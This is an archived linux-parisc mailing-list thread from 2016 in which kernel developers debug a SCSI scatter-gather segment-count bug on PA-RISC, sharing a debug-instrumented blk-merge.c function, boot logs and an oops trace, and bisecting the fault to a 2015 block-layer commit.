> > > ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx libata
> > > scsi_transport_spi scsi_mod usbcorep
> > > [   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted
> > > 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
> > > [   50.564000] task: 000000007f948b28 ti: 000000007fa90000
> > > task.ti: 000000007fa90000
> > > [   50.652000] 
> > > [   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > > [   50.728000] PSW: 00001000000001001111100100001110 Not tainted
> > > [   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0
> > > 00000000003e2ee0 000000007fa91140
> > > [   50.892000] r04-07  00000000003cd000 000000007f914300
> > > 000000007f914b10 0000000000000003
> > > [   50.988000] r08-11  0000000000000000 000000007f918000
> > > 0000000040bdd6b0 00000000003cd800
> > > [   51.084000] r12-15  0000000000000000 000000007fa90778
> > > 00000000003cd000 000000007f918000
> > > [   51.180000] r16-19  0000000000001300 0000000040bdd6b8
> > > 0000000040bdd6bc 0000000040ba2420
> > > [   51.276000] r20-23  0000000099116e92 0000000000000000
> > > 00000000000002a0 00000000000002ee
> > > [   51.372000] r24-27  0000000000000000 000000000800000e
> > > 0000000040b60750 00000000409b3ae0
> > > [   51.468000] r28-31  0000000000000002 000000007fa914f0
> > > 000000007fa911e0 0000000040ba2408
> > > [   51.564000] sr00-03  0000000000015000 0000000000000000
> > > 0000000000000000 0000000000015000
> > > [   51.660000] sr04-07  0000000000000000 0000000000000000
> > > 0000000000000000 0000000000000000
> > > [   51.756000] 
> > > [   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ:
> > > 00000000003e2f24 00000000003e2f28
> > > [   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR:
> > > 000000fea4691528
> > > [   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31:
> > > 00000000ffff7dff
> > > [   52.040000]  ORIG_R28: 0000000040b60718
> > > [   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8 [scsi_mod]
> > > [   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8 [scsi_mod]
> > > [   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8 [scsi_mod]
> > > [   52.292000] Backtrace:
> > > [   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258
> > > [scsi_mod]
> > > [   52.396000]  [<000000000087d078>] sd_init_command+0x70/0xec8
> > > [sd_mod]
> > > 
> > > In general I think the bug is somehow in blk-merge.c.
> > > But I'm not an expert in that code.
> > 
> > The warning was added in this patch sequence:
> > https://lkml.org/lkml/2015/11/23/996
> > 
> > Possibly, but above seems to indicate that it could be driver issue
> > as well.
> 
> 
> I believe this bug was introduced by the following merge:
> 
> commit 1081230b748de8f03f37f80c53dfa89feda9b8de
> Merge: df91039 2ca495a
> Author: Linus Torvalds <torvalds@linux-foundation.org>
> Date:   Wed Sep 2 13:10:25 2015 -0700
> 
>     Merge branch 'for-4.3/core' of git://git.kernel.dk/linux-block
>     
>     Pull core block updates from Jens Axboe:
>      "This first core part of the block IO changes contains:
>     
>        - Cleanup of the bio IO error signaling from Christoph.  We
> used to
>          rely on the uptodate bit and passing around of an error, now
> we
>          store the error in the bio itself.
>     
>        - Improvement of the above from myself, by shrinking the bio
> size
>          down again to fit in two cachelines on x86-64.
>     
>        - Revert of the max_hw_sectors cap removal from a revision
> again,
>          from Jeff Moyer.  This caused performance regressions in
> various
>          tests.  Reinstate the limit, bump it to a more reasonable
> size
>          instead.
>     
>        - Make /sys/block/<dev>/queue/discard_max_bytes writeable, by
> me.
>          Most devices have huge trim limits, which can cause nasty
> latencies
>          when deleting files.  Enable the admin to configure the size
> down.
>          We will look into having a more sane default instead of
> UINT_MAX
>          sectors.
>     
>        - Improvement of the SGP gaps logic from Keith Busch.
>     
>        - Enable the block core to handle arbitrarily sized bios,
> which
>          enables a nice simplification of bio_add_page() (which is an
> IO hot
>          path).  From Kent.
>     
>        - Improvements to the partition io stats accounting, making it
>          faster.  From Ming Lei.
>     
>        - Also from Ming Lei, a basic fixup for overflow of the sysfs
> pending
>          file in blk-mq, as well as a fix for a blk-mq timeout race
>          condition.
>     
>        - Ming Lin has been carrying Kents above mentioned patches
> forward
>          for a while, and testing them.  Ming also did a few fixes
> around
>          that.
>     
>        - Sasha Levin found and fixed a use-after-free problem
> introduced by
>          the bio->bi_error changes from Christoph.
>     
>        - Small blk cgroup cleanup from Viresh Kumar"
>     
>     * 'for-4.3/core' of git://git.kernel.dk/linux-block: (26 commits)
>       blk: Fix bio_io_vec index when checking bvec gaps
>       block: Replace SG_GAPS with new queue limits mask
>       block: bump BLK_DEF_MAX_SECTORS to 2560
>       Revert "block: remove artifical max_hw_sectors cap"
>       blk-mq: fix race between timeout and freeing request
>       blk-mq: fix buffer overflow when reading sysfs file of
> 'pending'
>       Documentation: update notes in biovecs about arbitrarily sized
> bios
>       block: remove bio_get_nr_vecs()
>       fs: use helper bio_add_page() instead of open coding on
> bi_io_vec
>       block: kill merge_bvec_fn() completely
>       md/raid5: get rid of bio_fits_rdev()
>       md/raid5: split bio for chunk_aligned_read
>       block: remove split code in blkdev_issue_{discard,write_same}
>       btrfs: remove bio splitting and merge_bvec_fn() calls
>       bcache: remove driver private bio splitting code
>       block: simplify bio_add_page()
>       block: make generic_make_request handle arbitrarily sized bios
>       blk-cgroup: Drop unlikely before IS_ERR(_OR_NULL)
>       block: don't access bio->bi_error after bio_put()
>       block: shrink struct bio down to 2 cache lines again
>       ...

If you can bisect it down to the exact commit, I might be able to work
out what's the problem.  Otherwise, even in an all modular config, I
can't reproduce this on 4.5-rc4, so it may be fixed upstream (just not
backported).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 13:09:33 -0500
Lines: 1012
Approved: news@gmane.org
Message-ID: <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-2-1029604226
X-Trace: ger.gmane.org 1456078193 26724 80.91.229.3 (21 Feb 2016 18:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 18:09:53 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 19:09:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXYRy-0007Vw-Og
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 19:09:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751695AbcBUSJj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 13:09:39 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:29446 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751659AbcBUSJg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 13:09:36 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20160221180934.KGXE15276.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 13:09:34 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by mtlspm01.bell.net
          with ESMTP
          id <20160221180934.UBVS25255.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 13:09:34 -0500
In-Reply-To: <1456026424.2268.5.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.56C9FD5E.00BF,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26474
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26474>


--Apple-Mail-2-1029604226
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii

On 2016-02-20, at 10:47 PM, James Bottomley wrote:

> On Sat, 2016-02-20 at 21:52 -0500, John David Anglin wrote:
>> On 2016-02-20, at 5:52 PM, John David Anglin wrote:
>> 
>>> On 2016-02-20, at 4:59 PM, Helge Deller wrote:
>>> 
>>>> On 20.02.2016 21:43, John David Anglin wrote:
>>>>> On 2016-02-20, at 3:13 PM, John David Anglin wrote:
>>>>> 
>>>>>> On 2016-01-23, at 1:00 PM, John David Anglin wrote:
>>>>>> 
>>>>>>> WARNING: at block/blk-merge.c:454
>>>>>> 
>>>>>> With linux-image-4.4.0-1-parisc64-smp on c3740, the above
>>>>>> warning is the last message I see.
>>>>>> Kernel seems to hang at that point.  This is warning code:
>>>>>> 
>>>>>>     /*
>>>>>>      * Something must have been wrong if the figured number
>>>>>> of
>>>>>>      * segment is bigger than number of req's physical
>>>>>> segments
>>>>>>      */
>>>>>>     WARN_ON(nsegs > rq->nr_phys_segments);
>>>>> 
>>>>> On Sep. 12, 2015, I reported the following problem:
>>>>> 
>>>>> http://www.spinics.net/lists/linux-parisc/msg06327.html
>>>> 
>>>> The problem is still, that this bug can only be reproduced at
>>>> every boot when then 
>>>> scsi drivers are built as modules (and in an initrd). I could
>>>> never reproduce it when
>>>> I booted a kernel with built-in scsi drivers.
>>>> 
>>>> The bug seems to be triggered by(*nsegs)++ command in
>>>> __blk_segment_map_sg() in block/blk-merge.c.
>>>> I'm testing with the 4.4.2 kernel from debian.
>>>> I modified __blk_segment_map_sg() like that:
>>>> static inline void
>>>> __blk_segment_map_sg(struct request_queue *q, struct bio_vec
>>>> *bvec,
>>>>                   struct scatterlist *sglist, struct bio_vec
>>>> *bvprv,
>>>>                   struct scatterlist **sg, int *nsegs, int
>>>> *cluster)
>>>> {
>>>> 
>>>>      int nbytes = bvec->bv_len;
>>>> 
>>>>      if (*sg && *cluster) {
>>>>              if ((*sg)->length + nbytes >
>>>> queue_max_segment_size(q))
>>>>                      goto new_segment;
>>>> 
>>>>              if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
>>>>                      goto new_segment;
>>>>              if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
>>>>                      goto new_segment;
>>>> 
>>>>              (*sg)->length += nbytes;
>>>>      } else {
>>>> new_segment:
>>>>              if (*sg && *cluster) {
>>>>                      printk("NEW SEGMENT sg = %p!!!\n", sg);
>>>>                      printk("__blk_segment_map_sg: length = %d,
>>>> nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)
>>>> ->length + nbytes, queue_max_segment_size(q));
>>>>                      printk("__blk_segment_map_sg:
>>>> BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n",
>>>> BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q, bvprv,
>>>> bvec) );
>>>>              }
>>>>              if (!*sg)
>>>>                      *sg = sglist;
>>>>              else {
>>>>                      /*
>>>>                       * If the driver previously mapped a
>>>> shorter
>>>>                       * list, we could see a termination bit
>>>>                       * prematurely unless it fully inits the sg
>>>>                       * table on each mapping. We KNOW that
>>>> there
>>>>                       * must be more entries here or the driver
>>>>                       * would be buggy, so force clear the
>>>>                       * termination bit to avoid doing a full
>>>>                       * sg_init_table() in drivers for each
>>>> command.
>>>>                       */
>>>>                      sg_unmark_end(*sg);
>>>>                      *sg = sg_next(*sg);
>>>>              }
>>>> 
>>>>              sg_set_page(*sg, bvec->bv_page, nbytes, bvec
>>>> ->bv_offset);
>>>>              (*nsegs)++;
>>>>      }
>>>>      *bvprv = *bvec;
>>>> }
>>>> 
>>>> The boot log looks then like this:
>>>> [   43.044000] scsi_init_sgtable: count = 1, nents = 1
>>>> (there are lots of those before it!)
>>>> [   43.164000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.164000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.280000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.280000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.396000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.396000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.512000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   43.512000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   43.628000] scsi_init_sgtable: nr_phys_segments = 3
>>>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   43.628000] scsi_init_sgtable: count = 3, nents = 3
>>>> [   44.224000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   44.224000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   44.340000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   44.340000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   44.456000] scsi_init_sgtable: nr_phys_segments = 7
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   44.456000] scsi_init_sgtable: count = 7, nents = 7
>>>> [   44.456000] timer_interrupt(CPU 0): delayed! cycles 4527081F
>>>> rem C6C21  next/now 14E153306E/14E146C44D
>>>> [   46.116000] scsi_init_sgtable: nr_phys_segments = 7
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 8192, nbytes =
>>>> 4096, sum = 12288 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>> [   46.116000] __blk_segment_map_sg: length = 16384, nbytes =
>>>> 4096, sum = 20480 > 65536
>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   46.116000] scsi_init_sgtable: count = 7, nents = 7
>>>> [   46.116000] timer_interrupt(CPU 0): delayed! cycles 453F0A77
>>>> rem 223089  next/now 152BB6286E/152B93F7E5
>>>> [   47.780000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   47.780000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   47.896000] scsi_init_sgtable: nr_phys_segments = 6
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 61440, nbytes =
>>>> 4096, sum = 65536 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
>>>> 4096, sum = 8192 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
>>>> 4096, sum = 12288 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
>>>> 4096, sum = 12288 > 65536
>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   47.896000] scsi_init_sgtable: count = 6, nents = 6
>>>> [   47.896000] timer_interrupt(CPU 0): delayed! cycles 3AB087E2
>>>> rem 23E4DE  next/now 1570BBD5EE/157097F110
>>>> [   49.324000] scsi_init_sgtable: nr_phys_segments = 1
>>>> [   49.324000] scsi_init_sgtable: count = 1, nents = 1
>>>> [   49.440000] scsi_init_sgtable: nr_phys_segments = 2
>>>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   49.440000] __blk_segment_map_sg: length = 65536, nbytes =
>>>> 4096, sum = 69632 > 65536
>>>> 
>>>> (this is interesting! Here we reach a sum of > 65536 the first
>>>> time)
>>>> 
>>>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>> [   49.440000] __blk_segment_map_sg: length = 16384, nbytes =
>>>> 4096, sum = 20480 > 65536
>>>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
>>>> BIOVEC_SEG_BOUNDARY = 1
>>>> [   49.440000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments
>>>> = 3 > 2
>>>> [   49.440000] scsi_init_sgtable: count = 3, nents = 2
>>>> [   50.116000] ------------[ cut here ]------------
>>>> [   50.172000] WARNING: at /build/linux-4.4/linux
>>>> -4.4.2/drivers/scsi/scsi_lib.c:1104
>>>> 
>>>> (this is usually a BUG(). I changed it to WARN() in the hope it
>>>> would work anyway. It didn't.)
>>>> 
>>>> [   50.260000] Modules linked in: sd_mod sr_mod cdrom ata_generic
>>>> ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx libata
>>>> scsi_transport_spi scsi_mod usbcorep
>>>> [   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted
>>>> 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
>>>> [   50.564000] task: 000000007f948b28 ti: 000000007fa90000
>>>> task.ti: 000000007fa90000
>>>> [   50.652000] 
>>>> [   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>> [   50.728000] PSW: 00001000000001001111100100001110 Not tainted
>>>> [   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0
>>>> 00000000003e2ee0 000000007fa91140
>>>> [   50.892000] r04-07  00000000003cd000 000000007f914300
>>>> 000000007f914b10 0000000000000003
>>>> [   50.988000] r08-11  0000000000000000 000000007f918000
>>>> 0000000040bdd6b0 00000000003cd800
>>>> [   51.084000] r12-15  0000000000000000 000000007fa90778
>>>> 00000000003cd000 000000007f918000
>>>> [   51.180000] r16-19  0000000000001300 0000000040bdd6b8
>>>> 0000000040bdd6bc 0000000040ba2420
>>>> [   51.276000] r20-23  0000000099116e92 0000000000000000
>>>> 00000000000002a0 00000000000002ee
>>>> [   51.372000] r24-27  0000000000000000 000000000800000e
>>>> 0000000040b60750 00000000409b3ae0
>>>> [   51.468000] r28-31  0000000000000002 000000007fa914f0
>>>> 000000007fa911e0 0000000040ba2408
>>>> [   51.564000] sr00-03  0000000000015000 0000000000000000
>>>> 0000000000000000 0000000000015000
>>>> [   51.660000] sr04-07  0000000000000000 0000000000000000
>>>> 0000000000000000 0000000000000000
>>>> [   51.756000] 
>>>> [   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ:
>>>> 00000000003e2f24 00000000003e2f28
>>>> [   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR:
>>>> 000000fea4691528
>>>> [   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31:
>>>> 00000000ffff7dff
>>>> [   52.040000]  ORIG_R28: 0000000040b60718
>>>> [   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8 [scsi_mod]
>>>> [   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8 [scsi_mod]
>>>> [   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8 [scsi_mod]
>>>> [   52.292000] Backtrace:
>>>> [   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258
>>>> [scsi_mod]
>>>> [   52.396000]  [<000000000087d078>] sd_init_command+0x70/0xec8
>>>> [sd_mod]
>>>> 
>>>> In general I think the bug is somehow in blk-merge.c.
>>>> But I'm not an expert in that code.
>>> 
>>> The warning was added in this patch sequence:
>>> https://lkml.org/lkml/2015/11/23/996
>>> 
>>> Possibly, but above seems to indicate that it could be driver issue
>>> as well.
>> 
>> 
>> I believe this bug was introduced by the following merge:
>> 
>> commit 1081230b748de8f03f37f80c53dfa89feda9b8de
>> Merge: df91039 2ca495a
>> Author: Linus Torvalds <torvalds@linux-foundation.org>
>> Date:   Wed Sep 2 13:10:25 2015 -0700
>> 
>>    Merge branch 'for-4.3/core' of git://git.kernel.dk/linux-block
>> 
>>    Pull core block updates from Jens Axboe:
>>     "This first core part of the block IO changes contains:
>> 
>>       - Cleanup of the bio IO error signaling from Christoph.  We
>> used to
>>         rely on the uptodate bit and passing around of an error, now
>> we
>>         store the error in the bio itself.
>> 
>>       - Improvement of the above from myself, by shrinking the bio
>> size
>>         down again to fit in two cachelines on x86-64.
>> 
>>       - Revert of the max_hw_sectors cap removal from a revision
>> again,
>>         from Jeff Moyer.  This caused performance regressions in
>> various
>>         tests.  Reinstate the limit, bump it to a more reasonable
>> size
>>         instead.
>> 
>>       - Make /sys/block/<dev>/queue/discard_max_bytes writeable, by
>> me.
>>         Most devices have huge trim limits, which can cause nasty
>> latencies
>>         when deleting files.  Enable the admin to configure the size
>> down.
>>         We will look into having a more sane default instead of
>> UINT_MAX
>>         sectors.
>> 
>>       - Improvement of the SGP gaps logic from Keith Busch.
>> 
>>       - Enable the block core to handle arbitrarily sized bios,
>> which
>>         enables a nice simplification of bio_add_page() (which is an
>> IO hot
>>         path).  From Kent.
>> 
>>       - Improvements to the partition io stats accounting, making it
>>         faster.  From Ming Lei.
>> 
>>       - Also from Ming Lei, a basic fixup for overflow of the sysfs
>> pending
>>         file in blk-mq, as well as a fix for a blk-mq timeout race
>>         condition.
>> 
>>       - Ming Lin has been carrying Kents above mentioned patches
>> forward
>>         for a while, and testing them.  Ming also did a few fixes
>> around
>>         that.
>> 
>>       - Sasha Levin found and fixed a use-after-free problem
>> introduced by
>>         the bio->bi_error changes from Christoph.
>> 
>>       - Small blk cgroup cleanup from Viresh Kumar"
>> 
>>    * 'for-4.3/core' of git://git.kernel.dk/linux-block: (26 commits)
>>      blk: Fix bio_io_vec index when checking bvec gaps
>>      block: Replace SG_GAPS with new queue limits mask
>>      block: bump BLK_DEF_MAX_SECTORS to 2560
>>      Revert "block: remove artifical max_hw_sectors cap"
>>      blk-mq: fix race between timeout and freeing request
>>      blk-mq: fix buffer overflow when reading sysfs file of
>> 'pending'
>>      Documentation: update notes in biovecs about arbitrarily sized
>> bios
>>      block: remove bio_get_nr_vecs()
>>      fs: use helper bio_add_page() instead of open coding on
>> bi_io_vec
>>      block: kill merge_bvec_fn() completely
>>      md/raid5: get rid of bio_fits_rdev()
>>      md/raid5: split bio for chunk_aligned_read
>>      block: remove split code in blkdev_issue_{discard,write_same}
>>      btrfs: remove bio splitting and merge_bvec_fn() calls
>>      bcache: remove driver private bio splitting code
>>      block: simplify bio_add_page()
>>      block: make generic_make_request handle arbitrarily sized bios
>>      blk-cgroup: Drop unlikely before IS_ERR(_OR_NULL)
>>      block: don't access bio->bi_error after bio_put()
>>      block: shrink struct bio down to 2 cache lines again
>>      ...
> 
> If you can bisect it down to the exact commit, I might be able to work
> out what's the problem.  Otherwise, even in an all modular config, I
> can't reproduce this on 4.5-rc4, so it may be fixed upstream (just not
> backported).


Okay, the bug was introduced by the following change:

commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e
Author: Kent Overstreet <kent.overstreet@gmail.com>
Date:   Thu Apr 23 22:37:18 2015 -0700

    block: make generic_make_request handle arbitrarily sized bios
    
    The way the block layer is currently written, it goes to great lengths
    to avoid having to split bios; upper layer code (such as bio_add_page())
    checks what the underlying device can handle and tries to always create
    bios that don't need to be split.
    
    But this approach becomes unwieldy and eventually breaks down with
    stacked devices and devices with dynamic limits, and it adds a lot of
    complexity. If the block layer could split bios as needed, we could
    eliminate a lot of complexity elsewhere - particularly in stacked
    drivers. Code that creates bios can then create whatever size bios are
    convenient, and more importantly stacked drivers don't have to deal with
    both their own bio size limitations and the limitations of the
    (potentially multiple) devices underneath them.  In the future this will
    let us delete merge_bvec_fn and a bunch of other code.
    
    We do this by adding calls to blk_queue_split() to the various
    make_request functions that need it - a few can already handle arbitrary
